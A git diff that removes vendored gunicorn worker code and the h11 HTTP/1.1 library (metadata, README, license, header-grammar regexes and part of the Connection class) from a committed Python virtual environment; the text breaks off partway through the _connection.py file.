- timeout = self.timeout or 0.5 - - # Warn if HTTP/2 is requested - sync worker doesn't support it - if 'h2' in self.cfg.http_protocols: - self.log.warning( - "HTTP/2 is not supported by the sync worker. " - "Use gthread, gevent, or asgi workers for HTTP/2 support. " - "Falling back to HTTP/1.1 only." - ) - - # self.socket appears to lose its blocking status after - # we fork in the arbiter. Reset it here. - for s in self.sockets: - s.setblocking(0) - - if len(self.sockets) > 1: - self.run_for_multiple(timeout) - else: - self.run_for_one(timeout) - - def handle(self, listener, client, addr): - req = None - try: - if self.cfg.is_ssl: - client = sock.ssl_wrap_socket(client, self.cfg) - parser = http.get_parser(self.cfg, client, addr) - req = next(parser) - self.handle_request(listener, req, client, addr) - except http.errors.NoMoreData as e: - self.log.debug("Ignored premature client disconnection. %s", e) - except StopIteration as e: - self.log.debug("Closing connection. %s", e) - except ssl.SSLError as e: - if e.args[0] == ssl.SSL_ERROR_EOF: - self.log.debug("ssl connection closed") - client.close() - else: - self.log.debug("Error processing SSL request.") - self.handle_error(req, client, addr, e) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("Socket error processing request.") - else: - if e.errno == errno.ECONNRESET: - self.log.debug("Ignoring connection reset") - elif e.errno == errno.ENOTCONN: - self.log.debug("Ignoring socket not connected") - else: - self.log.debug("Ignoring EPIPE") - except BaseException as e: - self.handle_error(req, client, addr, e) - finally: - util.close_graceful(client) - - def handle_request(self, listener, req, client, addr): - environ = {} - resp = None - try: - self.cfg.pre_request(self, req) - request_start = datetime.now() - resp, environ = wsgi.create(req, client, addr, - listener.getsockname(), self.cfg) - # Force the connection closed until someone shows - # a buffering proxy that supports Keep-Alive to - # the backend. - resp.force_close() - self.nr += 1 - if self.nr >= self.max_requests: - self.log.info("Autorestarting worker after current request.") - self.alive = False - respiter = self.wsgi(environ, resp.start_response) - try: - if isinstance(respiter, environ['wsgi.file_wrapper']): - resp.write_file(respiter) - else: - for item in respiter: - resp.write(item) - resp.close() - finally: - request_time = datetime.now() - request_start - self.log.access(resp, req, environ, request_time) - if hasattr(respiter, "close"): - respiter.close() - except OSError: - # pass to next try-except level - util.reraise(*sys.exc_info()) - except Exception: - if resp and resp.headers_sent: - # If the requests have already been sent, we should close the - # connection to indicate the error. - self.log.exception("Error handling request") - util.close_graceful(client) - raise StopIteration() - raise - finally: - try: - self.cfg.post_request(self, req, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") diff --git a/venv/Lib/site-packages/gunicorn/workers/workertmp.py b/venv/Lib/site-packages/gunicorn/workers/workertmp.py deleted file mode 100644 index 8ef00a560c4818c00895ed92db011d7682216ff3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/workertmp.py +++ /dev/null @@ -1,53 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import os -import time -import platform -import tempfile - -from gunicorn import util - -PLATFORM = platform.system() -IS_CYGWIN = PLATFORM.startswith('CYGWIN') - - -class WorkerTmp: - - def __init__(self, cfg): - old_umask = os.umask(cfg.umask) - fdir = cfg.worker_tmp_dir - if fdir and not os.path.isdir(fdir): - raise RuntimeError("%s doesn't exist. Can't create workertmp." % fdir) - fd, name = tempfile.mkstemp(prefix="wgunicorn-", dir=fdir) - os.umask(old_umask) - - # change the owner and group of the file if the worker will run as - # a different user or group, so that the worker can modify the file - if cfg.uid != os.geteuid() or cfg.gid != os.getegid(): - util.chown(name, cfg.uid, cfg.gid) - - # unlink the file so we don't leak temporary files - try: - if not IS_CYGWIN: - util.unlink(name) - # In Python 3.8, open() emits RuntimeWarning if buffering=1 for binary mode. - # Because we never write to this file, pass 0 to switch buffering off. - self._tmp = os.fdopen(fd, 'w+b', 0) - except Exception: - os.close(fd) - raise - - def notify(self): - new_time = time.monotonic() - os.utime(self._tmp.fileno(), (new_time, new_time)) - - def last_update(self): - return os.fstat(self._tmp.fileno()).st_mtime - - def fileno(self): - return self._tmp.fileno() - - def close(self): - return self._tmp.close() diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/INSTALLER b/venv/Lib/site-packages/h11-0.16.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/METADATA b/venv/Lib/site-packages/h11-0.16.0.dist-info/METADATA deleted file mode 100644 index 8a2f639061cc4a203f7109d8335d28076442c61d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/METADATA +++ /dev/null @@ -1,202 +0,0 @@ -Metadata-Version: 2.4 -Name: h11 -Version: 0.16.0 -Summary: A pure-Python, bring-your-own-I/O implementation of HTTP/1.1 -Home-page: https://github.com/python-hyper/h11 -Author: Nathaniel J. Smith -Author-email: njs@pobox.com -License: MIT -Classifier: Development Status :: 3 - Alpha -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: MIT License -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Internet :: WWW/HTTP -Classifier: Topic :: System :: Networking -Requires-Python: >=3.8 -License-File: LICENSE.txt -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: home-page -Dynamic: license -Dynamic: license-file -Dynamic: requires-python -Dynamic: summary - -h11 -=== - -.. image:: https://travis-ci.org/python-hyper/h11.svg?branch=master - :target: https://travis-ci.org/python-hyper/h11 - :alt: Automated test status - -.. image:: https://codecov.io/gh/python-hyper/h11/branch/master/graph/badge.svg - :target: https://codecov.io/gh/python-hyper/h11 - :alt: Test coverage - -.. image:: https://readthedocs.org/projects/h11/badge/?version=latest - :target: http://h11.readthedocs.io/en/latest/?badge=latest - :alt: Documentation Status - -This is a little HTTP/1.1 library written from scratch in Python, -heavily inspired by `hyper-h2 `_. - -It's a "bring-your-own-I/O" library; h11 contains no IO code -whatsoever. This means you can hook h11 up to your favorite network -API, and that could be anything you want: synchronous, threaded, -asynchronous, or your own implementation of `RFC 6214 -`_ -- h11 won't judge you. -(Compare this to the current state of the art, where every time a `new -network API `_ comes along then someone -gets to start over reimplementing the entire HTTP protocol from -scratch.) Cory Benfield made an `excellent blog post describing the -benefits of this approach -`_, or if you like video -then here's his `PyCon 2016 talk on the same theme -`_. - -This also means that h11 is not immediately useful out of the box: -it's a toolkit for building programs that speak HTTP, not something -that could directly replace ``requests`` or ``twisted.web`` or -whatever. But h11 makes it much easier to implement something like -``requests`` or ``twisted.web``. - -At a high level, working with h11 goes like this: - -1) First, create an ``h11.Connection`` object to track the state of a - single HTTP/1.1 connection. - -2) When you read data off the network, pass it to - ``conn.receive_data(...)``; you'll get back a list of objects - representing high-level HTTP "events". - -3) When you want to send a high-level HTTP event, create the - corresponding "event" object and pass it to ``conn.send(...)``; - this will give you back some bytes that you can then push out - through the network. - -For example, a client might instantiate and then send a -``h11.Request`` object, then zero or more ``h11.Data`` objects for the -request body (e.g., if this is a POST), and then a -``h11.EndOfMessage`` to indicate the end of the message. Then the -server would then send back a ``h11.Response``, some ``h11.Data``, and -its own ``h11.EndOfMessage``. If either side violates the protocol, -you'll get a ``h11.ProtocolError`` exception. - -h11 is suitable for implementing both servers and clients, and has a -pleasantly symmetric API: the events you send as a client are exactly -the ones that you receive as a server and vice-versa. - -`Here's an example of a tiny HTTP client -`_ - -It also has `a fine manual `_. - -FAQ ---- - -*Whyyyyy?* - -I wanted to play with HTTP in `Curio -`__ and `Trio -`__, which at the time didn't have any -HTTP libraries. So I thought, no big deal, Python has, like, a dozen -different implementations of HTTP, surely I can find one that's -reusable. I didn't find one, but I did find Cory's call-to-arms -blog-post. So I figured, well, fine, if I have to implement HTTP from -scratch, at least I can make sure no-one *else* has to ever again. - -*Should I use it?* - -Maybe. You should be aware that it's a very young project. But, it's -feature complete and has an exhaustive test-suite and complete docs, -so the next step is for people to try using it and see how it goes -:-). If you do then please let us know -- if nothing else we'll want -to talk to you before making any incompatible changes! - -*What are the features/limitations?* - -Roughly speaking, it's trying to be a robust, complete, and non-hacky -implementation of the first "chapter" of the HTTP/1.1 spec: `RFC 7230: -HTTP/1.1 Message Syntax and Routing -`_. That is, it mostly focuses on -implementing HTTP at the level of taking bytes on and off the wire, -and the headers related to that, and tries to be anal about spec -conformance. It doesn't know about higher-level concerns like URL -routing, conditional GETs, cross-origin cookie policies, or content -negotiation. But it does know how to take care of framing, -cross-version differences in keep-alive handling, and the "obsolete -line folding" rule, so you can focus your energies on the hard / -interesting parts for your application, and it tries to support the -full specification in the sense that any useful HTTP/1.1 conformant -application should be able to use h11. - -It's pure Python, and has no dependencies outside of the standard -library. - -It has a test suite with 100.0% coverage for both statements and -branches. - -Currently it supports Python 3 (testing on 3.8-3.12) and PyPy 3. -The last Python 2-compatible version was h11 0.11.x. -(Originally it had a Cython wrapper for `http-parser -`_ and a beautiful nested state -machine implemented with ``yield from`` to postprocess the output. But -I had to take these out -- the new *parser* needs fewer lines-of-code -than the old *parser wrapper*, is written in pure Python, uses no -exotic language syntax, and has more features. It's sad, really; that -old state machine was really slick. I just need a few sentences here -to mourn that.) - -I don't know how fast it is. I haven't benchmarked or profiled it yet, -so it's probably got a few pointless hot spots, and I've been trying -to err on the side of simplicity and robustness instead of -micro-optimization. But at the architectural level I tried hard to -avoid fundamentally bad decisions, e.g., I believe that all the -parsing algorithms remain linear-time even in the face of pathological -input like slowloris, and there are no byte-by-byte loops. (I also -believe that it maintains bounded memory usage in the face of -arbitrary/pathological input.) - -The whole library is ~800 lines-of-code. You can read and understand -the whole thing in less than an hour. Most of the energy invested in -this so far has been spent on trying to keep things simple by -minimizing special-cases and ad hoc state manipulation; even though it -is now quite small and simple, I'm still annoyed that I haven't -figured out how to make it even smaller and simpler. (Unfortunately, -HTTP does not lend itself to simplicity.) - -The API is ~feature complete and I don't expect the general outlines -to change much, but you can't judge an API's ergonomics until you -actually document and use it, so I'd expect some changes in the -details. - -*How do I try it?* - -.. code-block:: sh - - $ pip install h11 - $ git clone git@github.com:python-hyper/h11 - $ cd h11/examples - $ python basic-client.py - -and go from there. - -*License?* - -MIT - -*Code of conduct?* - -Contributors are requested to follow our `code of conduct -`_ in -all project spaces. diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/RECORD b/venv/Lib/site-packages/h11-0.16.0.dist-info/RECORD deleted file mode 100644 index ada1389b7feaf61a309fc5ca72fe3c3babdf43be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/RECORD +++ /dev/null @@ -1,29 +0,0 @@ -h11-0.16.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -h11-0.16.0.dist-info/METADATA,sha256=KPMmCYrAn8unm48YD5YIfIQf4kViFct7hyqcfVzRnWQ,8348 -h11-0.16.0.dist-info/RECORD,, -h11-0.16.0.dist-info/WHEEL,sha256=CmyFI0kx5cdEMTLiONQRbGQwjIoR1aIYB7eCAQ4KPJ0,91 -h11-0.16.0.dist-info/licenses/LICENSE.txt,sha256=N9tbuFkm2yikJ6JYZ_ELEjIAOuob5pzLhRE4rbjm82E,1124 -h11-0.16.0.dist-info/top_level.txt,sha256=F7dC4jl3zeh8TGHEPaWJrMbeuoWbS379Gwdi-Yvdcis,4 -h11/__init__.py,sha256=iO1KzkSO42yZ6ffg-VMgbx_ZVTWGUY00nRYEWn-s3kY,1507 -h11/__pycache__/__init__.cpython-314.pyc,, -h11/__pycache__/_abnf.cpython-314.pyc,, -h11/__pycache__/_connection.cpython-314.pyc,, -h11/__pycache__/_events.cpython-314.pyc,, -h11/__pycache__/_headers.cpython-314.pyc,, -h11/__pycache__/_readers.cpython-314.pyc,, -h11/__pycache__/_receivebuffer.cpython-314.pyc,, -h11/__pycache__/_state.cpython-314.pyc,, -h11/__pycache__/_util.cpython-314.pyc,, -h11/__pycache__/_version.cpython-314.pyc,, -h11/__pycache__/_writers.cpython-314.pyc,, -h11/_abnf.py,sha256=ybixr0xsupnkA6GFAyMubuXF6Tc1lb_hF890NgCsfNc,4815 -h11/_connection.py,sha256=k9YRVf6koZqbttBW36xSWaJpWdZwa-xQVU9AHEo9DuI,26863 -h11/_events.py,sha256=I97aXoal1Wu7dkL548BANBUCkOIbe-x5CioYA9IBY14,11792 -h11/_headers.py,sha256=P7D-lBNxHwdLZPLimmYwrPG-9ZkjElvvJZJdZAgSP-4,10412 -h11/_readers.py,sha256=a4RypORUCC3d0q_kxPuBIM7jTD8iLt5X91TH0FsduN4,8590 -h11/_receivebuffer.py,sha256=xrspsdsNgWFxRfQcTXxR8RrdjRXXTK0Io5cQYWpJ1Ws,5252 -h11/_state.py,sha256=_5LG_BGR8FCcFQeBPH-TMHgm_-B-EUcWCnQof_9XjFE,13231 -h11/_util.py,sha256=LWkkjXyJaFlAy6Lt39w73UStklFT5ovcvo0TkY7RYuk,4888 -h11/_version.py,sha256=GVSsbPSPDcOuF6ptfIiXnVJoaEm3ygXbMnqlr_Giahw,686 -h11/_writers.py,sha256=oFKm6PtjeHfbj4RLX7VB7KDc1gIY53gXG3_HR9ltmTA,5081 -h11/py.typed,sha256=sow9soTwP9T_gEAQSVh7Gb8855h04Nwmhs2We-JRgZM,7 diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/WHEEL b/venv/Lib/site-packages/h11-0.16.0.dist-info/WHEEL deleted file mode 100644 index 1eb3c49d99559863120cfb8433fc8738fba43ba9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (78.1.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/h11-0.16.0.dist-info/licenses/LICENSE.txt deleted file mode 100644 index 8f080eae848f759c9173bfc0c79506357ebe5090..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Nathaniel J. Smith and other contributors - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/h11-0.16.0.dist-info/top_level.txt b/venv/Lib/site-packages/h11-0.16.0.dist-info/top_level.txt deleted file mode 100644 index 0d24def711344ec6f4da2108f7d5c9261eb35f8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11-0.16.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -h11 diff --git a/venv/Lib/site-packages/h11/__init__.py b/venv/Lib/site-packages/h11/__init__.py deleted file mode 100644 index 989e92c3458681a6f0be72ae4105ea742750d328..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/__init__.py +++ /dev/null @@ -1,62 +0,0 @@ -# A highish-level implementation of the HTTP/1.1 wire protocol (RFC 7230), -# containing no networking code at all, loosely modelled on hyper-h2's generic -# implementation of HTTP/2 (and in particular the h2.connection.H2Connection -# class). There's still a bunch of subtle details you need to get right if you -# want to make this actually useful, because it doesn't implement all the -# semantics to check that what you're asking to write to the wire is sensible, -# but at least it gets you out of dealing with the wire itself. - -from h11._connection import Connection, NEED_DATA, PAUSED -from h11._events import ( - ConnectionClosed, - Data, - EndOfMessage, - Event, - InformationalResponse, - Request, - Response, -) -from h11._state import ( - CLIENT, - CLOSED, - DONE, - ERROR, - IDLE, - MIGHT_SWITCH_PROTOCOL, - MUST_CLOSE, - SEND_BODY, - SEND_RESPONSE, - SERVER, - SWITCHED_PROTOCOL, -) -from h11._util import LocalProtocolError, ProtocolError, RemoteProtocolError -from h11._version import __version__ - -PRODUCT_ID = "python-h11/" + __version__ - - -__all__ = ( - "Connection", - "NEED_DATA", - "PAUSED", - "ConnectionClosed", - "Data", - "EndOfMessage", - "Event", - "InformationalResponse", - "Request", - "Response", - "CLIENT", - "CLOSED", - "DONE", - "ERROR", - "IDLE", - "MUST_CLOSE", - "SEND_BODY", - "SEND_RESPONSE", - "SERVER", - "SWITCHED_PROTOCOL", - "ProtocolError", - "LocalProtocolError", - "RemoteProtocolError", -) diff --git a/venv/Lib/site-packages/h11/_abnf.py b/venv/Lib/site-packages/h11/_abnf.py deleted file mode 100644 index 933587fba22290d7eb7df4c88e12f1e61702b8ce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_abnf.py +++ /dev/null @@ -1,132 +0,0 @@ -# We use native strings for all the re patterns, to take advantage of string -# formatting, and then convert to bytestrings when compiling the final re -# objects. - -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#whitespace -# OWS = *( SP / HTAB ) -# ; optional whitespace -OWS = r"[ \t]*" - -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#rule.token.separators -# token = 1*tchar -# -# tchar = "!" / "#" / "$" / "%" / "&" / "'" / "*" -# / "+" / "-" / "." / "^" / "_" / "`" / "|" / "~" -# / DIGIT / ALPHA -# ; any VCHAR, except delimiters -token = r"[-!#$%&'*+.^_`|~0-9a-zA-Z]+" - -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#header.fields -# field-name = token -field_name = token - -# The standard says: -# -# field-value = *( field-content / obs-fold ) -# field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ] -# field-vchar = VCHAR / obs-text -# obs-fold = CRLF 1*( SP / HTAB ) -# ; obsolete line folding -# ; see Section 3.2.4 -# -# https://tools.ietf.org/html/rfc5234#appendix-B.1 -# -# VCHAR = %x21-7E -# ; visible (printing) characters -# -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#rule.quoted-string -# obs-text = %x80-FF -# -# However, the standard definition of field-content is WRONG! It disallows -# fields containing a single visible character surrounded by whitespace, -# e.g. "foo a bar". -# -# See: https://www.rfc-editor.org/errata_search.php?rfc=7230&eid=4189 -# -# So our definition of field_content attempts to fix it up... -# -# Also, we allow lots of control characters, because apparently people assume -# that they're legal in practice (e.g., google analytics makes cookies with -# \x01 in them!): -# https://github.com/python-hyper/h11/issues/57 -# We still don't allow NUL or whitespace, because those are often treated as -# meta-characters and letting them through can lead to nasty issues like SSRF. -vchar = r"[\x21-\x7e]" -vchar_or_obs_text = r"[^\x00\s]" -field_vchar = vchar_or_obs_text -field_content = r"{field_vchar}+(?:[ \t]+{field_vchar}+)*".format(**globals()) - -# We handle obs-fold at a different level, and our fixed-up field_content -# already grows to swallow the whole value, so ? instead of * -field_value = r"({field_content})?".format(**globals()) - -# header-field = field-name ":" OWS field-value OWS -header_field = ( - r"(?P{field_name})" - r":" - r"{OWS}" - r"(?P{field_value})" - r"{OWS}".format(**globals()) -) - -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#request.line -# -# request-line = method SP request-target SP HTTP-version CRLF -# method = token -# HTTP-version = HTTP-name "/" DIGIT "." DIGIT -# HTTP-name = %x48.54.54.50 ; "HTTP", case-sensitive -# -# request-target is complicated (see RFC 7230 sec 5.3) -- could be path, full -# URL, host+port (for connect), or even "*", but in any case we are guaranteed -# that it contists of the visible printing characters. -method = token -request_target = r"{vchar}+".format(**globals()) -http_version = r"HTTP/(?P[0-9]\.[0-9])" -request_line = ( - r"(?P{method})" - r" " - r"(?P{request_target})" - r" " - r"{http_version}".format(**globals()) -) - -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#status.line -# -# status-line = HTTP-version SP status-code SP reason-phrase CRLF -# status-code = 3DIGIT -# reason-phrase = *( HTAB / SP / VCHAR / obs-text ) -status_code = r"[0-9]{3}" -reason_phrase = r"([ \t]|{vchar_or_obs_text})*".format(**globals()) -status_line = ( - r"{http_version}" - r" " - r"(?P{status_code})" - # However, there are apparently a few too many servers out there that just - # leave out the reason phrase: - # https://github.com/scrapy/scrapy/issues/345#issuecomment-281756036 - # https://github.com/seanmonstar/httparse/issues/29 - # so make it optional. ?: is a non-capturing group. - r"(?: (?P{reason_phrase}))?".format(**globals()) -) - -HEXDIG = r"[0-9A-Fa-f]" -# Actually -# -# chunk-size = 1*HEXDIG -# -# but we impose an upper-limit to avoid ridiculosity. len(str(2**64)) == 20 -chunk_size = r"({HEXDIG}){{1,20}}".format(**globals()) -# Actually -# -# chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) -# -# but we aren't parsing the things so we don't really care. -chunk_ext = r";.*" -chunk_header = ( - r"(?P{chunk_size})" - r"(?P{chunk_ext})?" - r"{OWS}\r\n".format( - **globals() - ) # Even though the specification does not allow for extra whitespaces, - # we are lenient with trailing whitespaces because some servers on the wild use it. -) diff --git a/venv/Lib/site-packages/h11/_connection.py b/venv/Lib/site-packages/h11/_connection.py deleted file mode 100644 index e37d82a82a882c072cb938a90eb4486b51cdad99..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_connection.py +++ /dev/null @@ -1,659 +0,0 @@ -# This contains the main Connection class. Everything in h11 revolves around -# this. -from typing import ( - Any, - Callable, - cast, - Dict, - List, - Optional, - overload, - Tuple, - Type, - Union, -) - -from ._events import ( - ConnectionClosed, - Data, - EndOfMessage, - Event, - InformationalResponse, - Request, - Response, -) -from ._headers import get_comma_header, has_expect_100_continue, set_comma_header -from ._readers import READERS, ReadersType -from ._receivebuffer import ReceiveBuffer -from ._state import ( - _SWITCH_CONNECT, - _SWITCH_UPGRADE, - CLIENT, - ConnectionState, - DONE, - ERROR, - MIGHT_SWITCH_PROTOCOL, - SEND_BODY, - SERVER, - SWITCHED_PROTOCOL, -) -from ._util import ( # Import the internal things we need - LocalProtocolError, - RemoteProtocolError, - Sentinel, -) -from ._writers import WRITERS, WritersType - -# Everything in __all__ gets re-exported as part of the h11 public API. -__all__ = ["Connection", "NEED_DATA", "PAUSED"] - - -class NEED_DATA(Sentinel, metaclass=Sentinel): - pass - - -class PAUSED(Sentinel, metaclass=Sentinel): - pass - - -# If we ever have this much buffered without it making a complete parseable -# event, we error out. The only time we really buffer is when reading the -# request/response line + headers together, so this is effectively the limit on -# the size of that. -# -# Some precedents for defaults: -# - node.js: 80 * 1024 -# - tomcat: 8 * 1024 -# - IIS: 16 * 1024 -# - Apache: <8 KiB per line> -DEFAULT_MAX_INCOMPLETE_EVENT_SIZE = 16 * 1024 - - -# RFC 7230's rules for connection lifecycles: -# - If either side says they want to close the connection, then the connection -# must close. -# - HTTP/1.1 defaults to keep-alive unless someone says Connection: close -# - HTTP/1.0 defaults to close unless both sides say Connection: keep-alive -# (and even this is a mess -- e.g. if you're implementing a proxy then -# sending Connection: keep-alive is forbidden). -# -# We simplify life by simply not supporting keep-alive with HTTP/1.0 peers. So -# our rule is: -# - If someone says Connection: close, we will close -# - If someone uses HTTP/1.0, we will close. -def _keep_alive(event: Union[Request, Response]) -> bool: - connection = get_comma_header(event.headers, b"connection") - if b"close" in connection: - return False - if getattr(event, "http_version", b"1.1") < b"1.1": - return False - return True - - -def _body_framing( - request_method: bytes, event: Union[Request, Response] -) -> Tuple[str, Union[Tuple[()], Tuple[int]]]: - # Called when we enter SEND_BODY to figure out framing information for - # this body. - # - # These are the only two events that can trigger a SEND_BODY state: - assert type(event) in (Request, Response) - # Returns one of: - # - # ("content-length", count) - # ("chunked", ()) - # ("http/1.0", ()) - # - # which are (lookup key, *args) for constructing body reader/writer - # objects. - # - # Reference: https://tools.ietf.org/html/rfc7230#section-3.3.3 - # - # Step 1: some responses always have an empty body, regardless of what the - # headers say. - if type(event) is Response: - if ( - event.status_code in (204, 304) - or request_method == b"HEAD" - or (request_method == b"CONNECT" and 200 <= event.status_code < 300) - ): - return ("content-length", (0,)) - # Section 3.3.3 also lists another case -- responses with status_code - # < 200. For us these are InformationalResponses, not Responses, so - # they can't get into this function in the first place. - assert event.status_code >= 200 - - # Step 2: check for Transfer-Encoding (T-E beats C-L): - transfer_encodings = get_comma_header(event.headers, b"transfer-encoding") - if transfer_encodings: - assert transfer_encodings == [b"chunked"] - return ("chunked", ()) - - # Step 3: check for Content-Length - content_lengths = get_comma_header(event.headers, b"content-length") - if content_lengths: - return ("content-length", (int(content_lengths[0]),)) - - # Step 4: no applicable headers; fallback/default depends on type - if type(event) is Request: - return ("content-length", (0,)) - else: - return ("http/1.0", ()) - - -################################################################ -# -# The main Connection class -# -################################################################ - - -class Connection: - """An object encapsulating the state of an HTTP connection. - - Args: - our_role: If you're implementing a client, pass :data:`h11.CLIENT`. If - you're implementing a server, pass :data:`h11.SERVER`. - - max_incomplete_event_size (int): - The maximum number of bytes we're willing to buffer of an - incomplete event. In practice this mostly sets a limit on the - maximum size of the request/response line + headers. If this is - exceeded, then :meth:`next_event` will raise - :exc:`RemoteProtocolError`. - - """ - - def __init__( - self, - our_role: Type[Sentinel], - max_incomplete_event_size: int = DEFAULT_MAX_INCOMPLETE_EVENT_SIZE, - ) -> None: - self._max_incomplete_event_size = max_incomplete_event_size - # State and role tracking - if our_role not in (CLIENT, SERVER): - raise ValueError(f"expected CLIENT or SERVER, not {our_role!r}") - self.our_role = our_role - self.their_role: Type[Sentinel] - if our_role is CLIENT: - self.their_role = SERVER - else: - self.their_role = CLIENT - self._cstate = ConnectionState() - - # Callables for converting data->events or vice-versa given the - # current state - self._writer = self._get_io_object(self.our_role, None, WRITERS) - self._reader = self._get_io_object(self.their_role, None, READERS) - - # Holds any unprocessed received data - self._receive_buffer = ReceiveBuffer() - # If this is true, then it indicates that the incoming connection was - # closed *after* the end of whatever's in self._receive_buffer: - self._receive_buffer_closed = False - - # Extra bits of state that don't fit into the state machine. - # - # These two are only used to interpret framing headers for figuring - # out how to read/write response bodies. their_http_version is also - # made available as a convenient public API. - self.their_http_version: Optional[bytes] = None - self._request_method: Optional[bytes] = None - # This is pure flow-control and doesn't at all affect the set of legal - # transitions, so no need to bother ConnectionState with it: - self.client_is_waiting_for_100_continue = False - - @property - def states(self) -> Dict[Type[Sentinel], Type[Sentinel]]: - """A dictionary like:: - - {CLIENT: , SERVER: } - - See :ref:`state-machine` for details. - - """ - return dict(self._cstate.states) - - @property - def our_state(self) -> Type[Sentinel]: - """The current state of whichever role we are playing. See - :ref:`state-machine` for details. - """ - return self._cstate.states[self.our_role] - - @property - def their_state(self) -> Type[Sentinel]: - """The current state of whichever role we are NOT playing. See - :ref:`state-machine` for details. - """ - return self._cstate.states[self.their_role] - - @property - def they_are_waiting_for_100_continue(self) -> bool: - return self.their_role is CLIENT and self.client_is_waiting_for_100_continue - - def start_next_cycle(self) -> None: - """Attempt to reset our connection state for a new request/response - cycle. - - If both client and server are in :data:`DONE` state, then resets them - both to :data:`IDLE` state in preparation for a new request/response - cycle on this same connection. Otherwise, raises a - :exc:`LocalProtocolError`. - - See :ref:`keepalive-and-pipelining`. - - """ - old_states = dict(self._cstate.states) - self._cstate.start_next_cycle() - self._request_method = None - # self.their_http_version gets left alone, since it presumably lasts - # beyond a single request/response cycle - assert not self.client_is_waiting_for_100_continue - self._respond_to_state_changes(old_states) - - def _process_error(self, role: Type[Sentinel]) -> None: - old_states = dict(self._cstate.states) - self._cstate.process_error(role) - self._respond_to_state_changes(old_states) - - def _server_switch_event(self, event: Event) -> Optional[Type[Sentinel]]: - if type(event) is InformationalResponse and event.status_code == 101: - return _SWITCH_UPGRADE - if type(event) is Response: - if ( - _SWITCH_CONNECT in self._cstate.pending_switch_proposals - and 200 <= event.status_code < 300 - ): - return _SWITCH_CONNECT - return None - - # All events go through here - def _process_event(self, role: Type[Sentinel], event: Event) -> None: - # First, pass the event through the state machine to make sure it - # succeeds. - old_states = dict(self._cstate.states) - if role is CLIENT and type(event) is Request: - if event.method == b"CONNECT": - self._cstate.process_client_switch_proposal(_SWITCH_CONNECT) - if get_comma_header(event.headers, b"upgrade"): - self._cstate.process_client_switch_proposal(_SWITCH_UPGRADE) - server_switch_event = None - if role is SERVER: - server_switch_event = self._server_switch_event(event) - self._cstate.process_event(role, type(event), server_switch_event) - - # Then perform the updates triggered by it. - - if type(event) is Request: - self._request_method = event.method - - if role is self.their_role and type(event) in ( - Request, - Response, - InformationalResponse, - ): - event = cast(Union[Request, Response, InformationalResponse], event) - self.their_http_version = event.http_version - - # Keep alive handling - # - # RFC 7230 doesn't really say what one should do if Connection: close - # shows up on a 1xx InformationalResponse. I think the idea 